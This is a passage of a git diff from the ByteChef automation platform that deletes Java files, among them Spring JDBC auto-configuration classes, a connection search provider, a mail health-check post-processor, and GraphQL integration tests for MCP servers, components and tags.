-            mockedWorkflowTrigger.when(() -> WorkflowTrigger.fetch(workflow, workflowNodeName))
-                .thenReturn(Optional.empty());
-
-            List<Property> result = workflowNodeDynamicPropertiesFacade.getWorkflowNodeDynamicProperties(
-                workflowId, workflowNodeName, propertyName, List.of(), environmentId);
-
-            assertEquals(expectedProperties, result);
-
-            verify(actionDefinitionFacade).executeDynamicProperties(
-                eq("httpClient"), eq(1), eq("get"), eq(propertyName), anyMap(), anyList(), eq(workflowId),
-                eq(connectionId));
-        }
-    }
-
-    @Test
-    void testGetWorkflowNodeDynamicPropertiesForTrigger() {
-        String workflowId = "workflow1";
-        String workflowNodeName = "trigger1";
-        String propertyName = "event";
-        long environmentId = 1L;
-        long connectionId = 75L;
-
-        when(workflowTestConfigurationService.fetchWorkflowTestConfigurationConnectionId(
-            workflowId, workflowNodeName, environmentId))
-                .thenReturn(Optional.of(connectionId));
-        doReturn(Map.of()).when(workflowTestConfigurationService)
-            .getWorkflowTestConfigurationInputs(workflowId, environmentId);
-
-        Workflow workflow = mock(Workflow.class);
-
-        when(workflowService.getWorkflow(workflowId)).thenReturn(workflow);
-
-        WorkflowTrigger workflowTrigger = mock(WorkflowTrigger.class);
-
-        when(workflowTrigger.getType()).thenReturn("github/v1/newIssue");
-        doReturn(Map.of()).when(workflowTrigger)
-            .evaluateParameters(anyMap(), any(Evaluator.class));
-
-        List<Property> expectedProperties = List.of(mock(Property.class));
-
-        when(triggerDefinitionFacade.executeDynamicProperties(
-            eq("github"), eq(1), eq("newIssue"), eq(propertyName), anyMap(), anyList(), eq(connectionId)))
-                .thenReturn(expectedProperties);
-
-        try (MockedStatic<WorkflowTrigger> mockedWorkflowTrigger = mockStatic(WorkflowTrigger.class)) {
-            mockedWorkflowTrigger.when(() -> WorkflowTrigger.fetch(workflow, workflowNodeName))
-                .thenReturn(Optional.of(workflowTrigger));
-
-            List<Property> result = workflowNodeDynamicPropertiesFacade.getWorkflowNodeDynamicProperties(
-                workflowId, workflowNodeName, propertyName, List.of(), environmentId);
-
-            assertEquals(expectedProperties, result);
-
-            verify(triggerDefinitionFacade).executeDynamicProperties(
-                eq("github"), eq(1), eq("newIssue"), eq(propertyName), anyMap(), anyList(), eq(connectionId));
-        }
-    }
-}
diff --git a/server/libs/platform/platform-connection/platform-connection-service/src/main/java/com/bytechef/platform/connection/config/PlatformConnectionJdbcRepositoryConfiguration.java b/server/libs/platform/platform-connection/platform-connection-service/src/main/java/com/bytechef/platform/connection/config/PlatformConnectionJdbcRepositoryConfiguration.java
deleted file mode 100644
index 3dc1f21e94e..00000000000
--- a/server/libs/platform/platform-connection/platform-connection-service/src/main/java/com/bytechef/platform/connection/config/PlatformConnectionJdbcRepositoryConfiguration.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.connection.config;
-
-import org.springframework.boot.autoconfigure.AutoConfiguration;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnBean;
-import org.springframework.data.jdbc.repository.config.AbstractJdbcConfiguration;
-import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
-
-/**
- * @author Ivica Cardic
- */
-@AutoConfiguration(afterName = "org.springframework.boot.data.jdbc.autoconfigure.DataJdbcRepositoriesAutoConfiguration")
-@ConditionalOnBean(AbstractJdbcConfiguration.class)
-@EnableJdbcRepositories(basePackages = "com.bytechef.platform.connection.repository")
-class PlatformConnectionJdbcRepositoryConfiguration {
-}
diff --git a/server/libs/platform/platform-connection/platform-connection-service/src/main/java/com/bytechef/platform/connection/search/ConnectionSearchAssetProvider.java b/server/libs/platform/platform-connection/platform-connection-service/src/main/java/com/bytechef/platform/connection/search/ConnectionSearchAssetProvider.java
deleted file mode 100644
index 50a7e01fe37..00000000000
--- a/server/libs/platform/platform-connection/platform-connection-service/src/main/java/com/bytechef/platform/connection/search/ConnectionSearchAssetProvider.java
+++ /dev/null
@@ -1,64 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.connection.search;
-
-import com.bytechef.automation.search.SearchAssetProvider;
-import com.bytechef.automation.search.SearchAssetType;
-import com.bytechef.platform.connection.service.ConnectionService;
-import com.bytechef.platform.constant.PlatformType;
-import java.util.List;
-import java.util.Locale;
-import org.springframework.stereotype.Component;
-
-/**
- * @author Ivica Cardic
- */
-@Component
-class ConnectionSearchAssetProvider implements SearchAssetProvider {
-
-    private final ConnectionService connectionService;
-
-    ConnectionSearchAssetProvider(ConnectionService connectionService) {
-        this.connectionService = connectionService;
-    }
-
-    @Override
-    public List<ConnectionSearchResult> search(String query, int limit) {
-        String queryLower = query.toLowerCase(Locale.ROOT);
-
-        return connectionService.getConnections(PlatformType.AUTOMATION)
-            .stream()
-            .filter(connection -> containsIgnoreCase(connection.getName(), queryLower))
-            .limit(limit)
-            .map(connection -> new ConnectionSearchResult(connection.getId(), connection.getName()))
-            .toList();
-    }
-
-    @Override
-    public SearchAssetType getAssetType() {
-        return SearchAssetType.CONNECTION;
-    }
-
-    private boolean containsIgnoreCase(String text, String query) {
-        if (text == null) {
-            return false;
-        }
-
-        return text.toLowerCase(Locale.ROOT)
-            .contains(query);
-    }
-}
diff --git a/server/libs/platform/platform-connection/platform-connection-service/src/main/java/com/bytechef/platform/connection/search/ConnectionSearchResult.java b/server/libs/platform/platform-connection/platform-connection-service/src/main/java/com/bytechef/platform/connection/search/ConnectionSearchResult.java
deleted file mode 100644
index 32beb0e336f..00000000000
--- a/server/libs/platform/platform-connection/platform-connection-service/src/main/java/com/bytechef/platform/connection/search/ConnectionSearchResult.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.connection.search;
-
-import com.bytechef.automation.search.SearchAssetType;
-import com.bytechef.automation.search.SearchResult;
-
-/**
- * @author Ivica Cardic
- */
-public record ConnectionSearchResult(Long id, String name) implements SearchResult<Long> {
-
-    @Override
-    public String description() {
-        return null;
-    }
-
-    @Override
-    public SearchAssetType type() {
-        return SearchAssetType.CONNECTION;
-    }
-}
diff --git a/server/libs/platform/platform-connection/platform-connection-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/server/libs/platform/platform-connection/platform-connection-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
deleted file mode 100644
index f97674f76f8..00000000000
--- a/server/libs/platform/platform-connection/platform-connection-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
+++ /dev/null
@@ -1 +0,0 @@
-com.bytechef.platform.connection.config.PlatformConnectionJdbcRepositoryConfiguration
diff --git a/server/libs/platform/platform-data-storage/platform-data-storage-jdbc/platform-data-storage-jdbc-service/src/main/java/com/bytechef/platform/data/storage/jdbc/config/PlatformDataStorageJdbcRepositoryConfiguration.java b/server/libs/platform/platform-data-storage/platform-data-storage-jdbc/platform-data-storage-jdbc-service/src/main/java/com/bytechef/platform/data/storage/jdbc/config/PlatformDataStorageJdbcRepositoryConfiguration.java
deleted file mode 100644
index c3fb1493f99..00000000000
--- a/server/libs/platform/platform-data-storage/platform-data-storage-jdbc/platform-data-storage-jdbc-service/src/main/java/com/bytechef/platform/data/storage/jdbc/config/PlatformDataStorageJdbcRepositoryConfiguration.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.data.storage.jdbc.config;
-
-import org.springframework.boot.autoconfigure.AutoConfiguration;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnBean;
-import org.springframework.data.jdbc.repository.config.AbstractJdbcConfiguration;
-import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
-
-/**
- * @author Ivica Cardic
- */
-@AutoConfiguration(afterName = "org.springframework.boot.data.jdbc.autoconfigure.DataJdbcRepositoriesAutoConfiguration")
-@ConditionalOnBean(AbstractJdbcConfiguration.class)
-@EnableJdbcRepositories(basePackages = "com.bytechef.platform.data.storage.jdbc.repository")
-class PlatformDataStorageJdbcRepositoryConfiguration {
-}
diff --git a/server/libs/platform/platform-data-storage/platform-data-storage-jdbc/platform-data-storage-jdbc-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/server/libs/platform/platform-data-storage/platform-data-storage-jdbc/platform-data-storage-jdbc-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
deleted file mode 100644
index 66c92c9c4bf..00000000000
--- a/server/libs/platform/platform-data-storage/platform-data-storage-jdbc/platform-data-storage-jdbc-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
+++ /dev/null
@@ -1 +0,0 @@
-com.bytechef.platform.data.storage.jdbc.config.PlatformDataStorageJdbcRepositoryConfiguration
diff --git a/server/libs/platform/platform-mail/src/main/java/com/bytechef/platform/mail/boot/MailEnvironmentPostProcessor.java b/server/libs/platform/platform-mail/src/main/java/com/bytechef/platform/mail/boot/MailEnvironmentPostProcessor.java
deleted file mode 100644
index 8d9e68132d4..00000000000
--- a/server/libs/platform/platform-mail/src/main/java/com/bytechef/platform/mail/boot/MailEnvironmentPostProcessor.java
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.mail.boot;
-
-import java.util.HashMap;
-import java.util.Map;
-import org.apache.commons.lang3.StringUtils;
-import org.springframework.boot.EnvironmentPostProcessor;
-import org.springframework.boot.SpringApplication;
-import org.springframework.core.env.ConfigurableEnvironment;
-import org.springframework.core.env.MapPropertySource;
-import org.springframework.core.env.MutablePropertySources;
-
-/**
- * @author Ivica Cardic
- */
-public class MailEnvironmentPostProcessor implements EnvironmentPostProcessor {
-
-    @Override
-    public void postProcessEnvironment(ConfigurableEnvironment environment, SpringApplication application) {
-        Map<String, Object> source = new HashMap<>();
-
-        if (StringUtils.isBlank(environment.getProperty("bytechef.mail.host", String.class))) {
-            source.put("management.health.mail.enabled", false);
-        } else {
-            source.put("management.health.mail.enabled", true);
-        }
-
-        MapPropertySource mapPropertySource = new MapPropertySource("Custom Mail Config", source);
-
-        MutablePropertySources mutablePropertySources = environment.getPropertySources();
-
-        mutablePropertySources.addFirst(mapPropertySource);
-    }
-}
diff --git a/server/libs/platform/platform-mcp/platform-mcp-graphql/src/test/java/com/bytechef/platform/mcp/web/graphql/McpComponentGraphQlControllerIntTest.java b/server/libs/platform/platform-mcp/platform-mcp-graphql/src/test/java/com/bytechef/platform/mcp/web/graphql/McpComponentGraphQlControllerIntTest.java
deleted file mode 100644
index 33ddeef1972..00000000000
--- a/server/libs/platform/platform-mcp/platform-mcp-graphql/src/test/java/com/bytechef/platform/mcp/web/graphql/McpComponentGraphQlControllerIntTest.java
+++ /dev/null
@@ -1,201 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.mcp.web.graphql;
-
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.platform.mcp.domain.McpComponent;
-import com.bytechef.platform.mcp.facade.McpServerFacade;
-import com.bytechef.platform.mcp.service.McpComponentService;
-import com.bytechef.platform.mcp.web.graphql.config.McpGraphQlConfigurationSharedMocks;
-import com.bytechef.platform.mcp.web.graphql.config.McpGraphQlTestConfiguration;
-import java.util.List;
-import org.junit.jupiter.api.Test;
-import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.boot.graphql.test.autoconfigure.GraphQlTest;
-import org.springframework.graphql.test.tester.GraphQlTester;
-import org.springframework.test.context.ContextConfiguration;
-
-/**
- * @author Ivica Cardic
- */
-@ContextConfiguration(classes = {
-    McpGraphQlTestConfiguration.class,
-    McpComponentGraphQlController.class
-})
-@GraphQlTest(
-    controllers = McpComponentGraphQlController.class,
-    properties = {
-        "bytechef.coordinator.enabled=true",
-        "spring.graphql.schema.locations=classpath*:/graphql/"
-    })
-@McpGraphQlConfigurationSharedMocks
-public class McpComponentGraphQlControllerIntTest {
-
-    @Autowired
-    private GraphQlTester graphQlTester;
-
-    @Autowired
-    private McpComponentService mcpComponentService;
-
-    @Autowired
-    private McpServerFacade mcpServerFacade;
-
-    @Test
-    void testGetMcpComponentById() {
-        // Given
-        McpComponent mockComponent = createMockMcpComponent(1L, "test-component", 1);
-
-        when(mcpComponentService.getMcpComponent(1L)).thenReturn(mockComponent);
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                query {
-                    mcpComponent(id: "1") {
-                        id
-                        componentName
-                        componentVersion
-                    }
-                }
-                """)
-            .execute()
-            .path("mcpComponent.id")
-            .entity(String.class)
-            .isEqualTo("1")
-            .path("mcpComponent.componentName")
-            .entity(String.class)
-            .isEqualTo("test-component")
-            .path("mcpComponent.componentVersion")
-            .entity(Integer.class)
-            .isEqualTo(1);
-    }
-
-    @Test
-    void testGetAllMcpComponents() {
-        // Given
-        List<McpComponent> mockComponents = List.of(
-            createMockMcpComponent(1L, "component1", 1),
-            createMockMcpComponent(2L, "component2", 2));
-
-        when(mcpComponentService.getMcpComponents()).thenReturn(mockComponents);
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                query {
-                    mcpComponents {
-                        id
-                        componentName
-                        componentVersion
-                    }
-                }
-                """)
-            .execute()
-            .path("mcpComponents")
-            .entityList(Object.class)
-            .hasSize(2);
-    }
-
-    @Test
-    void testGetMcpComponentsByServerId() {
-        // Given
-        List<McpComponent> mockComponents = List.of(
-            createMockMcpComponent(1L, "server-component1", 1),
-            createMockMcpComponent(2L, "server-component2", 1));
-
-        when(mcpComponentService.getMcpServerMcpComponents(1L)).thenReturn(mockComponents);
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                query {
-                    mcpComponentsByServerId(mcpServerId: "1") {
-                        id
-                        componentName
-                        componentVersion
-                    }
-                }
-                """)
-            .execute()
-            .path("mcpComponentsByServerId")
-            .entityList(Object.class)
-            .hasSize(2);
-    }
-
-    @Test
-    void testCreateMcpComponent() {
-        // Given
-        McpComponent mockComponent = createMockMcpComponent(1L, "new-component", 1);
-
-        when(mcpComponentService.create(any(McpComponent.class))).thenReturn(mockComponent);
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                mutation {
-                    createMcpComponent(input: {
-                        componentName: "new-component",
-                        componentVersion: 1,
-                        mcpServerId: "1",
-                        connectionId: "1"
-                    }) {
-                        id
-                        componentName
-                        componentVersion
-                    }
-                }
-                """)
-            .execute()
-            .path("createMcpComponent.id")
-            .entity(String.class)
-            .isEqualTo("1")
-            .path("createMcpComponent.componentName")
-            .entity(String.class)
-            .isEqualTo("new-component");
-
-        verify(mcpComponentService).create(any(McpComponent.class));
-    }
-
-    @Test
-    void testDeleteMcpComponent() {
-        // When & Then
-        this.graphQlTester
-            .document("""
-                mutation {
-                    deleteMcpComponent(id: "1")
-                }
-                """)
-            .execute()
-            .path("deleteMcpComponent")
-            .entity(Boolean.class)
-            .isEqualTo(true);
-
-        verify(mcpServerFacade).deleteMcpComponent(1L);
-    }
-
-    private McpComponent createMockMcpComponent(Long id, String componentName, int componentVersion) {
-        McpComponent component = new McpComponent(componentName, componentVersion, 1L, 1L);
-
-        component.setId(id);
-        component.setVersion(1);
-
-        return component;
-    }
-}
diff --git a/server/libs/platform/platform-mcp/platform-mcp-graphql/src/test/java/com/bytechef/platform/mcp/web/graphql/McpServerGraphQlControllerIntTest.java b/server/libs/platform/platform-mcp/platform-mcp-graphql/src/test/java/com/bytechef/platform/mcp/web/graphql/McpServerGraphQlControllerIntTest.java
deleted file mode 100644
index b9f5d79ca17..00000000000
--- a/server/libs/platform/platform-mcp/platform-mcp-graphql/src/test/java/com/bytechef/platform/mcp/web/graphql/McpServerGraphQlControllerIntTest.java
+++ /dev/null
@@ -1,261 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.mcp.web.graphql;
-
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.ArgumentMatchers.anyLong;
-import static org.mockito.ArgumentMatchers.eq;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.platform.configuration.domain.Environment;
-import com.bytechef.platform.constant.PlatformType;
-import com.bytechef.platform.mcp.domain.McpServer;
-import com.bytechef.platform.mcp.facade.McpServerFacade;
-import com.bytechef.platform.mcp.service.McpServerService;
-import com.bytechef.platform.mcp.web.graphql.config.McpGraphQlConfigurationSharedMocks;
-import com.bytechef.platform.mcp.web.graphql.config.McpGraphQlTestConfiguration;
-import com.bytechef.platform.tag.domain.Tag;
-import java.util.List;
-import org.junit.jupiter.api.Test;
-import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.boot.graphql.test.autoconfigure.GraphQlTest;
-import org.springframework.graphql.test.tester.GraphQlTester;
-import org.springframework.test.context.ContextConfiguration;
-
-/**
- * @author Ivica Cardic
- */
-@ContextConfiguration(classes = {
-    McpGraphQlTestConfiguration.class,
-    McpServerGraphQlController.class
-})
-@GraphQlTest(
-    controllers = McpServerGraphQlController.class,
-    properties = {
-        "bytechef.coordinator.enabled=true",
-        "spring.graphql.schema.locations=classpath*:/graphql/"
-    })
-@McpGraphQlConfigurationSharedMocks
-public class McpServerGraphQlControllerIntTest {
-
-    @Autowired
-    private GraphQlTester graphQlTester;
-
-    @Autowired
-    private McpServerFacade mcpServerFacade;
-
-    @Autowired
-    private McpServerService mcpServerService;
-
-    @Test
-    void testGetMcpServerById() {
-        // Given
-        McpServer mockServer = createMockMcpServer(
-            1L, "Test Server", PlatformType.AUTOMATION, Environment.DEVELOPMENT, true);
-
-        when(mcpServerService.getMcpServer(1L)).thenReturn(mockServer);
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                query {
-                    mcpServer(id: "1") {
-                        id
-                        name
-                        type
-                        enabled
-                    }
-                }
-                """)
-            .execute()
-            .path("mcpServer.id")
-            .entity(String.class)
-            .isEqualTo("1")
-            .path("mcpServer.name")
-            .entity(String.class)
-            .isEqualTo("Test Server")
-            .path("mcpServer.type")
-            .entity(String.class)
-            .isEqualTo("AUTOMATION")
-            .path("mcpServer.enabled")
-            .entity(Boolean.class)
-            .isEqualTo(true);
-    }
-
-    @Test
-    void testGetMcpServers() {
-        // Given
-        List<McpServer> mockServers = List.of(
-            createMockMcpServer(1L, "Server 1", PlatformType.AUTOMATION, Environment.DEVELOPMENT, true),
-            createMockMcpServer(2L, "Server 2", PlatformType.AUTOMATION, Environment.PRODUCTION, false));
-
-        when(mcpServerService.getMcpServers(PlatformType.AUTOMATION, McpServerService.McpServerOrderBy.NAME_ASC))
-            .thenReturn(mockServers);
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                query {
-                    mcpServers(type: AUTOMATION, orderBy: NAME_ASC) {
-                        id
-                        name
-                    }
-                }
-                """)
-            .execute()
-            .path("mcpServers")
-            .entityList(Object.class)
-            .hasSize(2);
-    }
-
-    @Test
-    void testCreateMcpServer() {
-        // Given
-        McpServer mockServer = createMockMcpServer(
-            1L, "New Server", PlatformType.AUTOMATION, Environment.DEVELOPMENT, true);
-
-        when(mcpServerService.create(eq("New Server"), eq(PlatformType.AUTOMATION),
-            eq(Environment.DEVELOPMENT), eq(true))).thenReturn(mockServer);
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                mutation {
-                    createMcpServer(input: {
-                        name: "New Server",
-                        type: AUTOMATION,
-                        environmentId: "0",
-                        enabled: true
-                    }) {
-                        id
-                        name
-                        type
-                        enabled
-                    }
-                }
-                """)
-            .execute()
-            .path("createMcpServer.id")
-            .entity(String.class)
-            .isEqualTo("1")
-            .path("createMcpServer.name")
-            .entity(String.class)
-            .isEqualTo("New Server");
-    }
-
-    @Test
-    void testUpdateMcpServer() {
-        // Given
-        McpServer mockServer = createMockMcpServer(
-            1L, "Updated Server", PlatformType.AUTOMATION, Environment.DEVELOPMENT, false);
-
-        when(mcpServerService.update(eq(1L), eq("Updated Server"), eq(false))).thenReturn(mockServer);
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                mutation {
-                    updateMcpServer(id: "1", input: {
-                        name: "Updated Server",
-                        enabled: false
-                    }) {
-                        id
-                        name
-                        enabled
-                    }
-                }
-                """)
-            .execute()
-            .path("updateMcpServer.id")
-            .entity(String.class)
-            .isEqualTo("1")
-            .path("updateMcpServer.name")
-            .entity(String.class)
-            .isEqualTo("Updated Server")
-            .path("updateMcpServer.enabled")
-            .entity(Boolean.class)
-            .isEqualTo(false);
-    }
-
-    @Test
-    void testUpdateMcpServerTags() {
-        // Given
-        List<Tag> mockTags = List.of(
-            createMockTag(1L, "tag1"),
-            createMockTag(2L, "tag2"));
-
-        when(mcpServerFacade.updateMcpServerTags(anyLong(), any())).thenReturn(mockTags);
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                mutation {
-                    updateMcpServerTags(id: "1", tags: [
-                        { id: "1", name: "tag1" },
-                        { id: "2", name: "tag2" }
-                    ]) {
-                        id
-                        name
-                    }
-                }
-                """)
-            .execute()
-            .path("updateMcpServerTags")
-            .entityList(Object.class)
-            .hasSize(2);
-
-        verify(mcpServerFacade).updateMcpServerTags(eq(1L), any());
-    }
-
-    @Test
-    void testDeleteMcpServer() {
-        // When & Then
-        this.graphQlTester
-            .document("""
-                mutation {
-                    deleteMcpServer(id: "1")
-                }
-                """)
-            .execute()
-            .path("deleteMcpServer")
-            .entity(Boolean.class)
-            .isEqualTo(true);
-
-        verify(mcpServerFacade).deleteMcpServer(1L);
-    }
-
-    private McpServer createMockMcpServer(
-        Long id, String name, PlatformType type, Environment environment, Boolean enabled) {
-
-        McpServer server = new McpServer(name, type, environment, enabled);
-
-        server.setId(id);
-        server.setVersion(1);
-
-        return server;
-    }
-
-    private Tag createMockTag(Long id, String name) {
-        Tag tag = new Tag();
-
-        tag.setId(id);
-        tag.setName(name);
-
-        return tag;
-    }
-}
diff --git a/server/libs/platform/platform-mcp/platform-mcp-graphql/src/test/java/com/bytechef/platform/mcp/web/graphql/McpServerTagGraphQlControllerIntTest.java b/server/libs/platform/platform-mcp/platform-mcp-graphql/src/test/java/com/bytechef/platform/mcp/web/graphql/McpServerTagGraphQlControllerIntTest.java
deleted file mode 100644
index 0a18d6e88c3..00000000000
--- a/server/libs/platform/platform-mcp/platform-mcp-graphql/src/test/java/com/bytechef/platform/mcp/web/graphql/McpServerTagGraphQlControllerIntTest.java
+++ /dev/null
@@ -1,164 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.mcp.web.graphql;
-
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.platform.configuration.domain.Environment;
-import com.bytechef.platform.constant.PlatformType;
-import com.bytechef.platform.mcp.domain.McpServer;
-import com.bytechef.platform.mcp.service.McpServerService;
-import com.bytechef.platform.mcp.web.graphql.config.McpGraphQlConfigurationSharedMocks;
-import com.bytechef.platform.mcp.web.graphql.config.McpGraphQlTestConfiguration;
-import com.bytechef.platform.tag.domain.Tag;
-import com.bytechef.platform.tag.service.TagService;
-import java.util.List;
-import org.junit.jupiter.api.Test;
-import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.boot.graphql.test.autoconfigure.GraphQlTest;
-import org.springframework.graphql.test.tester.GraphQlTester;
-import org.springframework.test.context.ContextConfiguration;
-
-/**
- * @author Ivica Cardic
- */
-@ContextConfiguration(classes = {
-    McpGraphQlTestConfiguration.class,
-    McpServerTagGraphQlController.class
-})
-@GraphQlTest(
-    controllers = McpServerTagGraphQlController.class,
-    properties = {
-        "bytechef.coordinator.enabled=true",
-        "spring.graphql.schema.locations=classpath*:/graphql/"
-    })
-@McpGraphQlConfigurationSharedMocks
-public class McpServerTagGraphQlControllerIntTest {
-
-    @Autowired
-    private GraphQlTester graphQlTester;
-
-    @Autowired
-    private McpServerService mcpServerService;
-
-    @Autowired
-    private TagService tagService;
-
-    @Test
-    void testGetMcpServerTagsWithValidType() {
-        // Given
-        List<McpServer> mockServers = List.of(
-            createMockMcpServerWithTags(1L, "Server 1", PlatformType.AUTOMATION, List.of(1L, 2L)),
-            createMockMcpServerWithTags(2L, "Server 2", PlatformType.AUTOMATION, List.of(2L, 3L)));
-        List<Tag> mockTags = List.of(
-            createMockTag(1L, "tag1"),
-            createMockTag(2L, "tag2"),
-            createMockTag(3L, "tag3"));
-
-        when(mcpServerService.getMcpServers(PlatformType.AUTOMATION)).thenReturn(mockServers);
-        when(tagService.getTags(any())).thenReturn(mockTags);
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                query {
-                    mcpServerTags(type: AUTOMATION) {
-                        id
-                        name
-                    }
-                }
-                """)
-            .execute()
-            .path("mcpServerTags")
-            .entityList(Object.class)
-            .hasSize(3);
-
-        verify(mcpServerService).getMcpServers(PlatformType.AUTOMATION);
-        verify(tagService).getTags(any());
-    }
-
-    @Test
-    void testGetMcpServerTagsWithNoServers() {
-        // Given
-        when(mcpServerService.getMcpServers(PlatformType.AUTOMATION)).thenReturn(List.of());
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                query {
-                    mcpServerTags(type: AUTOMATION) {
-                        id
-                        name
-                    }
-                }
-                """)
-            .execute()
-            .path("mcpServerTags")
-            .entityList(Object.class)
-            .hasSize(0);
-
-        verify(mcpServerService).getMcpServers(PlatformType.AUTOMATION);
-    }
-
-    @Test
-    void testGetMcpServerTagsWithServersButNoTags() {
-        // Given
-        List<McpServer> mockServers = List.of(
-            createMockMcpServerWithTags(1L, "Server 1", PlatformType.AUTOMATION, List.of()),
-            createMockMcpServerWithTags(2L, "Server 2", PlatformType.AUTOMATION, List.of()));
-
-        when(mcpServerService.getMcpServers(PlatformType.AUTOMATION)).thenReturn(mockServers);
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                query {
-                    mcpServerTags(type: AUTOMATION) {
-                        id
-                        name
-                    }
-                }
-                """)
-            .execute()
-            .path("mcpServerTags")
-            .entityList(Object.class)
-            .hasSize(0);
-
-        verify(mcpServerService).getMcpServers(PlatformType.AUTOMATION);
-    }
-
-    private McpServer createMockMcpServerWithTags(Long id, String name, PlatformType type, List<Long> tagIds) {
-        McpServer server = new McpServer(name, type, Environment.DEVELOPMENT, true);
-
-        server.setId(id);
-        server.setVersion(1);
-        server.setTagIds(tagIds);
-
-        return server;
-    }
-
